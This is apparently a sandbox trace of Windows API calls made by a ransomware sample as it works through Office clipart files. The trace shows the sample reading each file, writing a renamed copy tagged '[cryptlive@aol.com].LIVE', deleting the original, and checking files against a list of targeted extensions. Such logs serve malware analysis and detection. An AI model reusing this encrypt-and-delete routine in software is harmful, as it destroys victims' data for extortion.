CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0134.506] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=6491) returned 1 [0134.506] CloseHandle (hObject=0x384) returned 1 [0134.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid")) returned 0x20 [0134.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0134.507] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.507] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.507] GetLastError () returned 0x0 [0134.507] ReadFile (in: hFile=0x384, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x195b, lpOverlapped=0x0) returned 1 [0134.521] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x1960, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x1960, lpOverlapped=0x0) returned 1 [0134.522] ReadFile (in: hFile=0x384, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.522] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.522] SetEndOfFile (hFile=0x2f8) returned 1 [0134.523] CloseHandle (hObject=0x2f8) returned 1 [0134.523] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.523] SetEndOfFile (hFile=0x384) returned 1 [0134.527] CloseHandle (hObject=0x384) returned 1 [0134.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid")) returned 1 [0134.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0134.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0134.528] lstrlenW (lpString=".doc") returned 4 [0134.528] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.528] lstrlenW (lpString=".docx") returned 5 [0134.528] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0134.528] lstrlenW (lpString=".pdf") returned 4 [0134.528] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.528] lstrlenW (lpString=".xls") returned 4 [0134.528] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.528] lstrlenW (lpString=".xlsx") returned 5 [0134.528] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0134.528] lstrlenW (lpString=".ppt") returned 4 [0134.528] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0134.528] lstrlenW (lpString=".zip") returned 4 [0134.528] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.528] lstrlenW (lpString=".rar") returned 4 [0134.528] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.528] lstrlenW (lpString=".bz2") returned 4 [0134.528] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.528] lstrlenW (lpString=".7z") returned 3 [0134.528] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0134.528] lstrlenW (lpString=".dbf") returned 4 [0134.528] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0134.528] lstrlenW (lpString=".1cd") returned 4 [0134.528] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0134.528] lstrlenW (lpString=".jpg") returned 4 [0134.528] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0134.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0134.529] lstrlenW (lpString=".doc") returned 4 [0134.529] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.529] lstrlenW (lpString=".docx") returned 5 [0134.529] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0134.529] lstrlenW (lpString=".pdf") returned 4 [0134.529] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.529] lstrlenW (lpString=".xls") returned 4 [0134.529] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.529] lstrlenW (lpString=".xlsx") returned 5 [0134.529] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0134.529] lstrlenW (lpString=".ppt") returned 4 [0134.529] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0134.529] lstrlenW (lpString=".zip") returned 4 [0134.529] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.529] lstrlenW (lpString=".rar") returned 4 [0134.529] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.529] lstrlenW (lpString=".bz2") returned 4 [0134.529] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.529] lstrlenW (lpString=".7z") returned 3 [0134.529] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0134.529] lstrlenW (lpString=".dbf") returned 4 [0134.529] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0134.529] lstrlenW (lpString=".1cd") returned 4 [0134.529] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0134.529] lstrlenW (lpString=".jpg") returned 4 [0134.529] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.529] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0134.530] lstrlenW (lpString="PARNT_02.MID") returned 12 [0134.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0134.530] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=5714) returned 1 [0134.530] CloseHandle (hObject=0x384) returned 1 [0134.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid")) returned 0x20 [0134.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0134.707] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.707] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0134.710] GetLastError () returned 0x0 [0134.710] ReadFile (in: hFile=0x1ec, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x1652, lpOverlapped=0x0) returned 1 [0134.722] WriteFile (in: hFile=0x38c, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x1660, lpOverlapped=0x0) returned 1 [0134.724] ReadFile (in: hFile=0x1ec, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.724] WriteFile (in: hFile=0x38c, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.725] SetEndOfFile (hFile=0x38c) returned 1 [0134.725] CloseHandle (hObject=0x38c) returned 1 [0134.725] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.725] SetEndOfFile (hFile=0x1ec) returned 1 [0134.728] CloseHandle (hObject=0x1ec) returned 1 [0134.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.824] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid")) returned 1 [0134.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0134.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0134.825] lstrlenW (lpString=".doc") returned 4 [0134.825] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.825] lstrlenW (lpString=".docx") returned 5 [0134.825] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0134.825] lstrlenW (lpString=".pdf") returned 4 [0134.825] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.825] lstrlenW (lpString=".xls") returned 4 [0134.825] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.825] lstrlenW (lpString=".xlsx") returned 5 [0134.825] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0134.825] lstrlenW (lpString=".ppt") returned 4 [0134.825] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0134.825] lstrlenW (lpString=".zip") returned 4 [0134.825] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.825] lstrlenW (lpString=".rar") returned 4 [0134.825] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.827] lstrlenW (lpString=".bz2") returned 4 [0134.827] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.827] lstrlenW (lpString=".7z") returned 3 [0134.827] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0134.827] lstrlenW (lpString=".dbf") returned 4 [0134.827] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0134.827] lstrlenW (lpString=".1cd") returned 4 [0134.827] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0134.828] lstrlenW (lpString=".jpg") returned 4 [0134.828] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0134.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0134.828] lstrlenW (lpString=".doc") returned 4 [0134.828] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.828] lstrlenW (lpString=".docx") returned 5 [0134.828] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0134.828] lstrlenW (lpString=".pdf") returned 4 [0134.828] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.828] lstrlenW (lpString=".xls") returned 4 [0134.828] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.828] lstrlenW (lpString=".xlsx") returned 5 [0134.828] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0134.828] lstrlenW (lpString=".ppt") returned 4 [0134.828] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0134.828] lstrlenW (lpString=".zip") returned 4 [0134.828] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.828] lstrlenW (lpString=".rar") returned 4 [0134.828] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.828] lstrlenW (lpString=".bz2") returned 4 [0134.828] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.828] lstrlenW (lpString=".7z") returned 3 [0134.828] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0134.828] lstrlenW (lpString=".dbf") returned 4 [0134.828] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0134.828] lstrlenW (lpString=".1cd") returned 4 [0134.828] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0134.828] lstrlenW (lpString=".jpg") returned 4 [0134.828] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.829] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0134.829] lstrlenW (lpString="PARNT_07.MID") returned 12 [0134.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.829] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=6564) returned 1 [0134.829] CloseHandle (hObject=0x2f8) returned 1 [0134.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid")) returned 0x20 [0134.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.830] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.830] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0134.830] GetLastError () returned 0x0 [0134.830] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x19a4, lpOverlapped=0x0) returned 1 [0134.832] WriteFile (in: hFile=0x1fc, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x19b0, lpOverlapped=0x0) returned 1 [0134.833] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.833] WriteFile (in: hFile=0x1fc, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.833] SetEndOfFile (hFile=0x1fc) returned 1 [0134.833] CloseHandle (hObject=0x1fc) returned 1 [0134.833] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.834] SetEndOfFile (hFile=0x2f8) returned 1 [0134.836] CloseHandle (hObject=0x2f8) returned 1 [0134.837] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.837] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid")) returned 1 [0134.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0134.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0134.838] lstrlenW (lpString=".doc") returned 4 [0134.838] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.838] lstrlenW (lpString=".docx") returned 5 [0134.838] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1 [0134.838] lstrlenW (lpString=".pdf") returned 4 [0134.838] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.838] lstrlenW (lpString=".xls") returned 4 [0134.838] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.838] lstrlenW (lpString=".xlsx") returned 5 [0134.838] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1 [0134.838] lstrlenW (lpString=".ppt") returned 4 [0134.838] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0134.838] lstrlenW (lpString=".zip") returned 4 [0134.838] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.838] lstrlenW (lpString=".rar") returned 4 [0134.838] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.838] lstrlenW (lpString=".bz2") returned 4 [0134.838] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.838] lstrlenW (lpString=".7z") returned 3 [0134.838] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0134.838] lstrlenW (lpString=".dbf") returned 4 [0134.838] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0134.838] lstrlenW (lpString=".1cd") returned 4 [0134.838] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0134.838] lstrlenW (lpString=".jpg") returned 4 [0134.838] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0134.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0134.838] lstrlenW (lpString=".doc") returned 4 [0134.838] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.839] lstrlenW (lpString=".docx") returned 5 [0134.839] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1 [0134.839] lstrlenW (lpString=".pdf") returned 4 [0134.839] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.839] lstrlenW (lpString=".xls") returned 4 [0134.839] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.839] lstrlenW (lpString=".xlsx") returned 5 [0134.839] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1 [0134.839] lstrlenW (lpString=".ppt") returned 4 [0134.839] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0134.839] lstrlenW (lpString=".zip") returned 4 [0134.839] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.839] lstrlenW (lpString=".rar") returned 4 [0134.839] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.839] lstrlenW (lpString=".bz2") returned 4 [0134.839] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.839] lstrlenW (lpString=".7z") returned 3 [0134.839] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0134.839] lstrlenW (lpString=".dbf") returned 4 [0134.839] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0134.839] lstrlenW (lpString=".1cd") returned 4 [0134.839] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0134.839] lstrlenW (lpString=".jpg") returned 4 [0134.839] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.840] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0134.840] lstrlenW (lpString="PARNT_08.MID") returned 12 [0134.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.840] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=7347) returned 1 [0134.840] CloseHandle (hObject=0x2f8) returned 1 [0134.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid")) returned 0x20 [0134.840] GetFileAttributesW (lpFileName="C:\\Program 